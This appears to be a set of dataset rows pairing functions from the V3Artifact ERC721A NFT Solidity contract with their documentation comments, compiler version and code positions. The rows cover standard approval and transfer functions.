V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | setApprovalForAll | function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
| /**
* @dev See {IERC721-setApprovalForAll}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
7035,
7322
]
} | 4,295 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | isApprovedForAll | function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
| /**
* @dev See {IERC721-isApprovedForAll}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
7384,
7550
]
} | 4,296 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | transferFrom | function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
| /**
* @dev See {IERC721-transferFrom}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
7608,
7768
]
} | 4,297 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | safeTransferFrom | function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
| /**
* @dev See {IERC721-safeTransferFrom}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
7830,
8005
]
} | 4,298 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | safeTransferFrom | function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
| /**
* @dev See {IERC721-safeTransferFrom}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
8067,
8415
]
} | 4,299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.